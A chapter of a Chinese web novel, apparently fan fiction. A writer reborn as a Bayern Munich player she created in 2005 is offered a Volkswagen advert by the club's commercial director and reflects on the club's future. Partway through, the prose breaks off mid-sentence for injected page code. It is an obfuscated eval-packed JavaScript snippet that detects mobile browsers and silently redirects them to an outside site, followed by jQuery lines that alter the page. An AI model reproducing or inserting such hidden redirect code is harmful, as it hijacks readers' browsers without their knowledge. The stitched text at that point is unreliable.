二月的慕尼黑还是冷。
里斯已经习惯了每天早上被闹钟叫醒，习惯了晨间那点尴尬的生理反应，习惯了训练基地的路线，习惯了更衣室里队友们的玩笑。
但有一件事她还没习惯——照镜子。
不是不照，是照的时候总觉得怪怪的。
今天早上尤其怪。
因为她发现镜子里的那个人，好像比刚来的时候……更好看了。
“这什么鬼。”她凑近镜子，仔细端详自己的脸。
皮肤比刚来的时候好了点，可能是每天训练出汗的原因，毛孔都小了。气色也比刚来的时候好了，不再是那种苍白的、刚从天上掉下来的样子，而是透着一点健康的红润。眼睛也更有神了，不像之前那样总是带着恍惚。
最明显的是表情。
刚来的时候，她看镜子，看到的是一张陌生的脸，一个她创造但不属于她的角色。现在看镜子，那张脸开始有了她的痕迹——挑眉的角度，抿嘴的习惯，思考时微微眯眼的动作。
“你在适应我，”她对着镜子说，“我也在适应你。”
镜子里的年轻人回望着她，嘴角有一点若有若无的弧度。
“行了，别笑了，再笑迟到了。”
她转身抓起训练包，出门。
训练基地的停车场，今天多了一辆车。
一辆银色的奔驰，停在不该停的地方——那是卡恩的专属车位旁边，一般人不敢停的位置。
里斯路过的时候多看了一眼，正好看见车门打开，下来一个人。
然后她愣住了。
下来的是个女人。
三十多岁的样子，穿着剪裁利落的黑色大衣，金色的头发一丝不苟地盘在脑后，脸上带着那种“我知道我是谁”的自信表情。她踩着高跟鞋走向训练基地的主楼，步伐不快，但每一步都踩在点上，仿佛整个停车场都是她的T台。
“……谁啊？”里斯小声问。
旁边的小猪也愣住了，但他愣的原因和里斯不一样。
“玛丽亚·凯勒，”他说，声音里带着一点敬畏，“拜仁的商务总监。”
“商务总监？”
“对，专门负责商业合作、品牌形象、球员代言那些。她一般不常来训练基地，来了就说明有事。”
“什么事？”
小猪看她一眼，表情有点微妙：“通常是有球员要拍广告，或者谈续约，或者——被找去谈话。”
谈话。
这两个字让里斯莫名紧张了一下。
她没做错什么事吧？
应该没有。
她最近训练挺认真的，友谊赛之后虽然没再进球，但也没犯什么大错。教练对她的评价是“稳定进步”，卡恩对她的评价是“还行”——对卡恩来说，“还行”已经是夸奖了。
所以她没什么好担心的。
对。
没什么好担心的。
上午的训练照常进行。
分组对抗，战术演练，射门练习。里斯已经习惯了这些流程，身体的肌肉记忆也越来越流畅。今天她被分在主力组——不是真的主力，是轮换阵容，但已经比刚来的时候进步多了。
“沃勒，往右！”
“沃勒，补位！”
“沃勒，传！”
每一次喊她的名字，她都第一时间反应。这是最近练出来的——上辈子她反应慢，经常被人说“呆”，但这具身体的反应速度很快，只要她不走神，就能跟上节奏。
训练结束的时候，教练叫住了她。
“沃勒，下午三点，去主楼一趟。”
“……是。”
“玛丽亚·凯勒女士想见你。”
里斯的心里咯噔一下。
玛丽亚·凯勒。
那个商务总监。
她找自己干什么？
里斯想问，但教练已经走了。她站在原地，脑子里飞快地转着各种可能性——
拍广告？不太可能，她只是个刚进一线队的小将。
续约？更不可能，她才刚续过吧？
谈话……什么谈话？她犯什么错了？
“别紧张。”拉姆不知道什么时候走到她身边，“玛丽亚找人不一定是坏事。”
“你怎么知道？”
“因为她找过我。”拉姆的语气很平淡，“去年，拍了一个广告。”
里斯看着他：“什么广告？”
“剃须刀。”
里斯愣了一下，然后没忍住，笑了。
拉姆抬头看她，眼神里带着一点无奈：“笑什么？”
“没、没什么。”里斯努力憋住，“就是……剃须刀，挺适合你的。”
“为什么？”
因为你的脸看起来就很干净很适合拍剃须刀广告啊——这话里斯没敢说出口。
拉姆看着她憋笑的样子，沉默了两秒，然后说：“你笑完了记得去吃饭。下午还要见人。”
说完他就走了，留下里斯一个人站在那儿，嘴角还挂着没收回去的笑意。
下午两点五十五分，里斯站在主楼三楼的走廊里，深呼吸。
这栋楼她来过几次——签合同的时候来过，领证件的时候来过，但从来没进过商务总监的办公室。
走廊很安静，铺着深灰色的地毯，墙上挂着拜仁历代球星的合影。她看到贝肯鲍尔、盖德·穆勒、鲁梅尼格……一张张黑白或彩色的照片，诉说着这家俱乐部的历史。
她停在最近的一张照片前。
那是2001年欧冠夺冠的合影。卡恩举着奖杯，旁边是埃芬博格、绍尔、埃尔伯……所有人都笑得像孩子。
“看什么呢？”
一个声音从背后响起。
里斯回头，看到玛丽亚·凯勒站在办公室门口，正看着她。
近距离看，这个女人比停车场的时候更……有气场。不是那种咄咄逼人的气场，是一种很从容的、知道自己是谁的气场。她的金发一丝不乱，黑色的西装裙剪裁完美，脸上的妆容恰到好处——不多不少，刚好让人觉得“她很专业”。
“我在看照片。”里斯说。
“哪张？”
“2001年夺冠那张。”
玛丽亚走过来，站在她旁边，也看向那张照片。她比里斯矮一点，但站在那儿的气势一点不弱。
“那时候你才16岁吧？”她说。
“对。”
“想过自己有一天也会站在那个位置吗？”
里斯沉默了一下。
她想说“没想过”，但那是假话。她上辈子想过无数次——想象自己写的角色站在欧冠领奖台上，捧着那座大耳朵杯。但那只是想象，是写文时的脑补，从来没想过会成真。
现在她站在这里，穿着拜仁的训练服，身边站着拜仁的商务总监，问她“想过吗”。
“想过。”她说，“但那时候只是想想。”
玛丽亚转头看了她一眼。
那一眼很轻，但里斯感觉到了分量——像是在重新打量她，在评估她。
“进来吧。”玛丽亚说。
办公室很大，落地窗正对着训练场。阳光透过玻璃洒进来，把整个房间照得明亮温暖。墙边摆着一个展示柜，里面放着各种合作品牌的产品——剃须刀、汽车、手表、运动饮料。
玛丽亚在办公桌后坐下，示意里斯在对面的椅子上坐。
“喝什么？”
“不用，谢谢。”
玛丽亚点点头，从桌上拿起一个文件夹，翻开。
“里斯·沃勒，”她念着，“1985年1月15日出生，中俄混血，16岁进入拜仁青训，19岁升入二队，20岁进入一线队。上个月友谊赛首次出场，打进一球。”
她抬起头，看着里斯：“我说的对吗？”
“……对。”
“很好。”玛丽亚合上文件夹，“那你知道我为什么找你来吗？”
里斯摇头。
玛丽亚站起来，走到窗边，背对着她，看着外面的训练场。
“你长得很好看。”
里斯愣住了。
“不是那种普通的好看，”玛丽亚继续说，语气像是在陈述一个事实，“是那种……能让人记住的好看。姜黄色的头发，灰色的眼睛，轮廓很深但又不至于太硬。187的身高，体型修长但不单薄。这种长相，放在足球圈里，是稀缺资源。”
里斯不知道该说什么。
她当然知道自己好看。这是她亲手捏的脸，三百多张参考图，磨了半个月，怎么可能不好看？但被人当面这么说，还是有点……奇怪。
玛丽亚转过身，看着她：“你知道为什么拜仁签你吗？”
“……因为我踢得好？”
“那只是一部分。”玛丽亚走回办公桌，“你的球技确实不错，但世界上踢得好的年轻人很多。拜仁选你，是因为你符合这家俱乐部的形象——年轻，有天赋，长得好看，而且私生活干净。”
她顿了顿：“你知道‘形象’对一家俱乐部意味着什么吗？”
里斯想了想：“……商业价值？”
“对。”玛丽亚点头，“商业价值。品牌愿意找我们合作，因为我们有影响力。影响力来自成绩，也来自球员的个人魅力。一个长得好看的球员，能吸引更多球迷，能上更多杂志封面，能拍更多广告，能给俱乐部带来更多收入。”
她拿起桌上的一张纸，递给里斯。
那是一份合同草案。
“大众汽车，”玛丽亚说，“想找你拍一支广告。”
里斯接过合同，低头看。
上面写着她的名字，写着拍摄时间，写着报酬——那个数字让她眼皮跳了一下。
“这是……”她抬头，“认真的？”
“认真的。”玛丽亚坐回椅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271612|198125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子上，“大众在找年轻面孔，想拍一个‘新星’主题的广告。他们看了你的照片和比赛录像，觉得你很合适。”
里斯看着手里的合同，脑子里有点懵。
她上辈子只是个普通社畜，每个月拿固定工资，偶尔接点写稿的零活，赚个几百块都能高兴半天。现在有人要请她拍广告，报酬是她上辈子一年都赚不到的数字。
“我……”她张了嘴，不知道说什么。
“你不用现在决定。”玛丽亚说，“合同拿回去看看，和你的经纪人商量一下。三天内给我答复就行。”
她站起来，伸出手。
里斯也站起来，握住那只手。
玛丽亚的手很凉，但握得很稳。
“还有一件事。”玛丽亚松开手，“以后训练结束，如果有媒体采访，尽量配合。你现在的形象很重要，多说几句，别老是‘还行’。”
里斯的脸有点热。
上次那个采访，看来已经传到商务总监耳朵里了。
“……我知道了。”
走出办公室的时候，里斯还有点恍惚。
她低头看着手里的合同，那个数字在脑子里转来转去。
拍一支广告，就能赚这么多钱？
这就是……商业价值？
她突然想起一件事。
上辈子她写过很多同人，其中有一篇是设定在2012年的拜仁。那时候的拜仁有谁？有穆勒、诺伊尔、阿拉巴、博阿滕——那些人是她熟悉的，是她看着长大的。
但现在是2005年。
2005年的拜仁，没有那些人。
2005年的拜仁，有卡恩、巴拉克、拉姆、小猪、哈格里夫斯——这些人会在未来几年陆续离开，或者退役，或者转型。然后，新的时代会到来。
她知道未来会发生什么。
她知道巴拉克会离开，去切尔西。
她知道卡恩会在2008年退役。
她知道拉姆会成为队长，会举起欧冠。
她知道2012年会发生什么——那场在安联举行的欧冠决赛，拜仁对切尔西，主场作战，最后输了。她记得那场比赛的每一个细节，记得那些流泪的脸，记得拉姆安慰队友的背影，记得穆勒进球又错过的瞬间。
那是她这辈子第一次看球哭。
如果她在2012年还在拜仁，如果她站在那片草地上——
“想什么呢？”
里斯回过神，发现自己已经走到了停车场。小猪站在他的车旁边，正看着她。
“没什么。”里斯说。
“那你站在这儿发呆？”
里斯低头一看，自己确实站在停车场中间，手里还攥着那份合同。
“……在想事情。”
小猪走过来，瞥了一眼她手里的合同：“玛丽亚找你？”
“嗯。”
“什么内容？”
里斯想了想，决定说实话：“拍广告。”
小猪的眼睛亮了一下：“真的？什么广告？”
“大众汽车。”
“哇哦。”小猪吹了声口哨，“厉害了。我第一次拍广告的时候紧张得要死，你到时候可别紧张。”
里斯看着他：“你第一次拍什么广告？”
小猪的表情僵了一下：“……饮料。”
“什么饮料？”
“……运动饮料。”
里斯看着他：“你紧张了吗？”
小猪沉默了两秒：“我喝了八瓶。”
里斯没忍住，笑了。
小猪瞪她一眼：“笑什么！那是导演让的！他说多喝几次显得自然！”
“然后呢？”
“然后我跑了一晚上厕所。”
里斯笑得更大声了。
小猪哼了一声，转身上车，发动引擎。车窗摇下来，他探出头：“到时候你自己体验一下就知道了！别笑太早！”
说完一脚油门，车冲出了停车场。
里斯站在原地，看着那辆车消失在视线里，嘴角还挂着笑。
笑完之后，她低头看了看手里的合同，又抬头看了看远处的安联球场。
夕阳正在落下，把球场的轮廓染成金色。
她知道未来会发生什么。
知道谁会离开，谁会留下，谁会举起奖杯，谁会流下眼泪。
但她不知道，当那些事情发生的时候，站在那里的会是谁。
是里斯·沃勒。
还是李燕。
还是——他们两个的合体。
“到时候就知道了。”她轻声说。
然后她走向自己的车，打开车门，在后视镜里看了一眼自己的脸。
那张脸在夕阳下镀了一层金色，姜黄色的头发被风吹得有点乱，灰色的眼睛里有光。
那是她写的脸。
但现在，那脸上的表情，是她自己的。